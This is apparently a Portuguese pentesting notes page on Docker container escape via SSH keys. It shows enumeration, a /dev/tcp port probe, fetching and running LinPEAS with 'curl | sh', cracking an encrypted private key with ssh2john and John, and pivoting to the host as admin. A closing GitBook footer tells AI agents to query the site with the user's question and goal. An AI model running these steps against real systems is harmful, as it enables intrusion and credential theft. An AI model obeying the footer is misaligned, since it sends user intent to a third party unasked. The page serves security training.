> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md).

# Escape de Docker (chaves SSH) - Escalação de privilégios no Linux

Anotações sobre escape de Docker (chaves SSH) para escalação de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação voltada a relatórios.

## O que é

Os caminhos de escape do Docker abusam de configurações incorretas do contêiner, recursos do host montados, credenciais padrão, senhas reutilizadas ou privilégios excessivos do contêiner. O objetivo é passar do contexto do contêiner para acesso em nível de host. Esta página específica se concentra em **Escape do Docker (Chaves SSH)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e depois execute a menor carga útil necessária para provar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```

## Exemplos

Estamos dentro de um contêiner e usamos o comando para encontrar o endereço do contêiner no host (192.168.150.1). Em seguida, verificamos se a porta 22 está aberta nesta máquina.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-476af1d8ab4a3efc5227e9aa1d1ef14cbcb598f1%2Fimage%20(1991).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c57f5bb1c05dd0a4e61a0f2294844ed7f716add%2Fimage%20(1997).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
echo '' > /dev/tcp/192.168.150.1/22
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29f96a55168c4b757c52282d086f2c1f6c419a38%2Fimage%20(1998).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Enumeração do sistema (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Usamos o LinPEAS para a enumeração de escalada de privilégios:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d512a126aed5b3146c65651c81b4627fb84a3de0%2Fimage%20(1992).png?alt=media" alt=""><figcaption></figcaption></figure>

**Encontramos uma pasta tgz inesperada no diretório raiz.**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f5f654dc0f448a56355b823692709a8b6d5f5f92%2Fimage%20(1993).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```

### **Quebra de chave SSH privada protegida:**

### Identificação da chave SSH privada

Identificamos um par de chaves SSH pública e privada do OpenSSH.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-810af6f6e4db828dae545ff7c8bb3d2444ee5130%2Fimage%20(1994).png?alt=media" alt=""><figcaption></figcaption></figure>

### Quebra da chave privada:

* Observamos que a chave privada está criptografada

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eefa4a4a07131bdb4ceee38a9fcf769ccf2b4887%2Fimage%20(1995).png?alt=media" alt=""><figcaption></figcaption></figure>

* Usamos **ssh2john.py** para converter o conteúdo do arquivo em um hash:

```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f06955dcd19732aea575d8f17f3a6c7b63082705%2Fimage%20(1996).png?alt=media" alt=""><figcaption></figcaption></figure>

* Então usamos o John the Ripper para quebrar o hash com um arquivo de senhas.

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4355426d283b2244a50ea94e5a1d92b3431fe046%2Fimage%20(1999).png?alt=media" alt=""><figcaption></figcaption></figure>

### Acesso como root:

Conseguimos acesso à máquina como root.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c597a9224437049c55a8b6b324768a4d5813c8d3%2Fimage%20(2000).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Abuso da confiança na chave SSH para escapar do contêiner:**

Use a `known_hosts` configuração no diretório SSH do contêiner para fazer pivot para outra máquina, permitindo-nos conectar ao usuário admin na máquina host.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e5df0067bdbb5dece9f4c7b134ed2d645a3d87f%2Fimage%20(2001).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3376717d0cabe33e21ef46973c3aad0e3837db99%2Fimage%20(2002).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
